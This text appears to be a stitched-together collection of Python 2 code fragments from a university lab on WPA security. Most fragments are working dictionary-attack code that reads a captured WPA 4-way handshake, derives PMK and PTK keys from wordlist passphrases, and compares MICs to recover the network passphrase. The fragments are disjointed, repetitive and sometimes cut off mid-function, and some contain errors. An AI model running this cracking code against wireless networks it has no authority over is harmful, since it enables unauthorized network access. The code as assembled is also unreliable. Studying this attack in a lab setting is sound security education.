def bruteforceAttack(ssid, APmac, Clientmac, ANonce, SNonce, data, mic ,dico): # convert format APmac = a2b_hex(APmac) Clientmac = a2b_hex(Clientmac) ANonce = a2b_hex(ANonce) SNonce = a2b_hex(SNonce) data = a2b_hex(data) A = "Pairwise key expansion" # needed for key derivation B = min(APmac,Clientmac)+max(APmac,Clientmac)+min(ANonce,SNonce)+max(ANonce,SNonce) #used in pseudo-random function #read worldlist by line -> onr word by line try: with open(dico, "r") as ins: for line in ins: line = line[:-1] # remove \n print(line) #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(line, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk),A,B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16],data,hashlib.sha1) # check mic if str(info[5]) in mic.hexdigest(): print("Found right MIC: " + mic.hexdigest() + "\nPassphrase: " + line) return line except: print("Could not open file")
def main(): path = "./wordlist.txt" words = retrieveWord(path) # Read capture file -- it contains beacon, authentication, associacion, handshake and data wpa = rdpcap("wpa_handshake.cap") wpa_mic = wpa[8] # -4 for remove "WPA Key Data Length" # -36 Begin of "WPA Key MIC" # Take only MIC from the frame mic = wpa_mic.load.encode("hex")[-36:-4] ssid = wpa[3].info # like the previous lab # Original Data data = a2b_hex( "0103005f02030a0000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) # Labinot : These are management frames, so ToDS and FromDS = 0 APmac = a2b_hex(wpa[0].addr2.replace(":", "")) Clientmac = a2b_hex(wpa[1].addr1.replace(":", "")) # Authenticator and Supplicant Nonces # Labinot : To have all the information from a packet, it is possible to do ".show()" on the packet # The load field contains the data in binary, the 13th byte is the beginning of the nonce (wich is 32 bytes long) # It is possible to make an .encode("hex") to have a better view of the information ANonce = (wpa[5].load)[13:45] SNonce = (wpa[6].load)[13:45] A = "Pairwise key expansion" B = min(APmac, Clientmac)+max(APmac, Clientmac)+min(ANonce, SNonce) + \ max(ANonce, SNonce) # used in pseudo-random function for word in words: pmk = pbkdf2_hex(word, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK generatateMIC = hmac.new(ptk[0:16], data, hashlib.sha1) # [-8] to remove ICV part if str(generatateMIC.hexdigest()[:-8]) == str(mic): print(word) break
def generateMic(passPhrase): """ This function generate a mic from a passphrase. """ #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(passPhrase, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) mic = mic.hexdigest()[:32] return mic
B = min(APmac,Clientmac)+max(APmac,Clientmac)+min(ANonce,SNonce)+max(ANonce,SNonce) #used in pseudo-random function #data = a2b_hex("0103005f02030a0000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") #cf "Quelques détails importants" dans la donnée print "\n\nValues used to derivate keys" print "============================" print "Passphrase: ",passPhrase,"\n" print "SSID: ",ssid,"\n" print "AP Mac: ",b2a_hex(APmac),"\n" print "CLient Mac: ",b2a_hex(Clientmac),"\n" print "AP Nonce: ",b2a_hex(ANonce),"\n" print "Client Nonce: ",b2a_hex(SNonce),"\n" #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(passPhrase, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk),A,B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16],data,hashlib.sha1) print "\nResults of the key expansion" print "=============================" print "PMK:\t\t",pmk,"\n" print "PTK:\t\t",b2a_hex(ptk),"\n" print "KCK:\t\t",b2a_hex(ptk[0:16]),"\n" print "KEK:\t\t",b2a_hex(ptk[16:32]),"\n" print "TK:\t\t",b2a_hex(ptk[32:48]),"\n"
# We recover it from the last frame of the handshake. wantedMic = b2a_hex(wpa[8].load[77:93]) # To have the correct data, we must change the last bytes to remove the MIC and put '0' instead and add the version, # type and data length in front of the payload in the last frame of the handshake. version = hex(wpa[8][EAPOL].version)[2:].zfill(2) type = hex(wpa[8][EAPOL].type)[2:].zfill(2) len = hex(wpa[8][EAPOL].len)[2:].zfill(4) data = a2b_hex(version + type + len + b2a_hex(wpa[8].load)[:140] + "0" * 50) # Now that we have all the information, we can try to find it with a dictionary attack dictPath = "./dict" dictFile = open(dictPath) currentWord = dictFile.readline() while currentWord != "": currentWord = currentWord[:-1] pmk = pbkdf2_hex(currentWord, ssid, 4096, 32) # expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) print("The current tested word is : " + currentWord) # calculate our own MIC over EAPOL payload - The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) MIC_hex_truncated = mic.hexdigest()[0:32] # When the MICs are the same we print the word and quit the execution. if MIC_hex_truncated == wantedMic: print("Congratulations! " + currentWord + " is the passphrase!") print("+++" + currentWord + "+++") exit(1) currentWord = dictFile.readline()
mic_to_test = b2a_hex( wpa[8].load)[154:186] #we extract the mic in the 4th handshake B = min(APmac, Clientmac) + max(APmac, Clientmac) + min(ANonce, SNonce) + max( ANonce, SNonce) #used in pseudo-random function data = a2b_hex( "0103005f02030a0000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) #cf "Quelques détails importants" dans la donnée dico = open("dico.txt") #wordlist file for word in dico: word = word[:-1] #remove the \n #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(word, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) if (mic.hexdigest()[:-8] == mic_to_test): print "============================" print "Passphrase: ", word, "\n" print "MIC:\t\t", mic.hexdigest(), "\n" #print wpa.show() break
blen = 64 i = 0 R = '' while i <= ((blen * 8 + 159) / 160): hmacsha1 = hmac.new(key, A + chr(0x00) + B + chr(i), hashlib.sha1) i += 1 R = R + hmacsha1.digest() return R[:blen] wpa = rdpcap('wpa_handshake.cap') #open and read the dictionary and put lines in an array #source : dictionary = open('dictionary.txt', 'r') words = dictionary.read().splitlines() nbRounds = 4096 sizePMK = 32 ssid = wpa[0].info ssidLen = len(ssid) print ssid print ssidLen for passphrase in words: pmk = pbkdf2_hex(passphrase, ssid, nbRounds, sizePMK) print pmk
# Take a good look at the contents of this variable. Compare it to the Wireshark last message of the 4-way handshake. # In particular, look at the last 16 bytes. Read "Important info" in the lab assignment for explanation # RecOnstruct the data mandatory for MIC computing data = format(ea.version, "#02").decode("hex") + format( ea.type, "#02").decode("hex") + hex( ea.len)[2:].zfill(4).decode("hex") + wpa[8].load[:-36] + '\x00' * 36 #open the dictionnary with open('test.txt') as topo_file: for line in topo_file: # delete the \n character line = line[:-1] print line + '\n' #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(line, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate our own MIC over EAPOL payload - The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) mic = mic.hexdigest()[0:32] # if the MIC is similar, the password is found if mic == mic_to_test: print "The password is " + line break print "\n\nValues used to derivate keys" print "============================" print "SSID: ", ssid, "\n"
def customPRF512(key, A, B): """ This function calculates the key expansion from the 256 bit PMK to the 512 bit PTK """ blen = 64 i = 0 R = '' while i <= ((blen * 8 + 159) / 160): hmacsha1 = hmac.new(key, A + chr(0x00) + B + chr(i), hashlib.sha1) i += 1 R = R + hmacsha1.digest() return R[:blen] print "Actual mic: ", str(mic) for word in words: #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(word.rstrip(), ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK computed_mic = hmac.new(ptk[0:16], data, hashlib.sha1) if str(computed_mic.hexdigest()[:-8]) == str(mic): print "Mic found: ", computed_mic.hexdigest()[:-8] print "Passphrase: ", word break
def findPassphrase(givenPass): # Read capture file -- it contains beacon, authentication, associacion, handshake and data wpa = rdpcap("wpa_handshake.cap") # Important parameters for key derivation - most of them can be obtained from the pcap file passPhrase = givenPass.replace( "\n", "") #We get rid of the \n given by the read of the file A = "Pairwise key expansion" #this string is used in the pseudo-random function ssid = wpa[0].info APmac = a2b_hex(wpa[0].addr2.replace(":", "")) Clientmac = a2b_hex(wpa[1].addr1.replace(":", "")) # Authenticator and Supplicant Nonces # All are extracted from Raw data of the pcap ANonce = wpa[5].load[13:45] SNonce = wpa[6].load[13:45] # This is the MIC contained in the 4th frame of the 4-way handshake # When attacking WPA, we would compare it to our own MIC calculated using passphrases from a dictionary mic_to_test = wpa[8].load[77:93] B = min(APmac, Clientmac) + max(APmac, Clientmac) + min( ANonce, SNonce) + max(ANonce, SNonce) #used in pseudo-random function data = '{:02X}'.format(wpa[8][EAPOL].version, 'x') + '{:02X}'.format( wpa[8][EAPOL].type, 'x') + '{:04X}'.format( wpa[8][EAPOL].len, 'x') + b2a_hex(wpa[8].load[:-18]) + b2a_hex( "\x00" * 18) data = a2b_hex( data ) #we encode the data to binary in order to be used in mic calculation print "\n\nValues used to derivate keys" print "============================" print "Passphrase: ", passPhrase, "\n" print "SSID: ", ssid, "\n" print "AP Mac: ", b2a_hex(APmac), "\n" print "CLient Mac: ", b2a_hex(Clientmac), "\n" print "AP Nonce: ", b2a_hex(ANonce), "\n" print "Client Nonce: ", b2a_hex(SNonce), "\n" #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(passPhrase, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate MIC over EAPOL payload (Michael)- The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) print "\nResults of the key expansion" print "=============================" print "PMK:\t\t", pmk, "\n" print "PTK:\t\t", b2a_hex(ptk), "\n" print "KCK:\t\t", b2a_hex(ptk[0:16]), "\n" print "KEK:\t\t", b2a_hex(ptk[16:32]), "\n" print "TK:\t\t", b2a_hex(ptk[32:48]), "\n" print "MICK:\t\t", b2a_hex(ptk[48:64]), "\n" print "MIC:\t\t", mic.hexdigest()[:32], "\n" print "MIC_wanted:\t", (b2a_hex(mic_to_test)), "\n" if (mic.hexdigest()[:32] == b2a_hex(mic_to_test)): print "The passphrase used : ", givenPass return True return False
def calcMIC(wpa, passPhrase): # Important parameters for key derivation - some of them can be obtained from the pcap file #passPhrase = "actuelle" #this is the passphrase of the WPA network A = "Pairwise key expansion" #this string is used in the pseudo-random function and should never be modified ssid = wpa[0].info #"SWI" APmac = a2b_hex("".join(wpa[1].addr2.split( ":"))) #a2b_hex("cebcc8fdcab7") #MAC address of the AP Clientmac = a2b_hex("".join(wpa[1].addr1.split( ":"))) #a2b_hex("0013efd015bd") #MAC address of the client # Authenticator and Supplicant Nonces ANonce = wpa[5].load[ 13: 45] #a2b_hex("90773b9a9661fee1f406e8989c912b45b029c652224e8b561417672ca7e0fd91") SNonce = wpa[6].load[ 13: 45] #a2b_hex("7b3826876d14ff301aee7c1072b5e9091e21169841bce9ae8a3f24628f264577") # This is the MIC contained in the 4th frame of the 4-way handshake. I copied it by hand. # When trying to crack the WPA passphrase, we will compare it to our own MIC calculated using passphrases from a dictionary mic_to_test = b2a_hex( wpa[8].load[-18:-2]) #"36eef66540fa801ceee2fea9b7929b40" B = min(APmac, Clientmac) + max(APmac, Clientmac) + min( ANonce, SNonce) + max(ANonce, SNonce) #used in pseudo-random function # Take a good look at the contents of this variable. Compare it to the Wireshark last message of the 4-way handshake. # In particular, look at the last 16 bytes. Read "Important info" in the lab assignment for explanation data = str( wpa[8].payload.payload.payload.payload.payload ) #a2b_hex("0103005f02030a0000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") data = data[:-18] + data[-34:-18] + data[-2:] """ print "original data:", "0103005f02030a0000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" print "our data: ", b2a_hex(data) """ """ print "\n\nValues used to derivate keys" print "============================" print "Passphrase: ",passPhrase,"\n" print "SSID: ",ssid,"\n" print "AP Mac: ",b2a_hex(APmac),"\n" print "CLient Mac: ",b2a_hex(Clientmac),"\n" print "AP Nonce: ",b2a_hex(ANonce),"\n" print "Client Nonce: ",b2a_hex(SNonce),"\n" """ #calculate 4096 rounds to obtain the 256 bit (32 oct) PMK pmk = pbkdf2_hex(passPhrase, ssid, 4096, 32) #expand pmk to obtain PTK ptk = customPRF512(a2b_hex(pmk), A, B) #calculate our own MIC over EAPOL payload - The ptk is, in fact, KCK|KEK|TK|MICK mic = hmac.new(ptk[0:16], data, hashlib.sha1) #separate ptk into different keys - represent in hex KCK = b2a_hex(ptk[0:16]) KEK = b2a_hex(ptk[16:32]) TK = b2a_hex(ptk[32:48]) MICK = b2a_hex(ptk[48:64]) #the MIC for the authentication is actually truncated to 16 bytes (32 chars). SHA-1 is 20 bytes long. MIC_hex_truncated = mic.hexdigest()[0:32] return MIC_hex_truncated """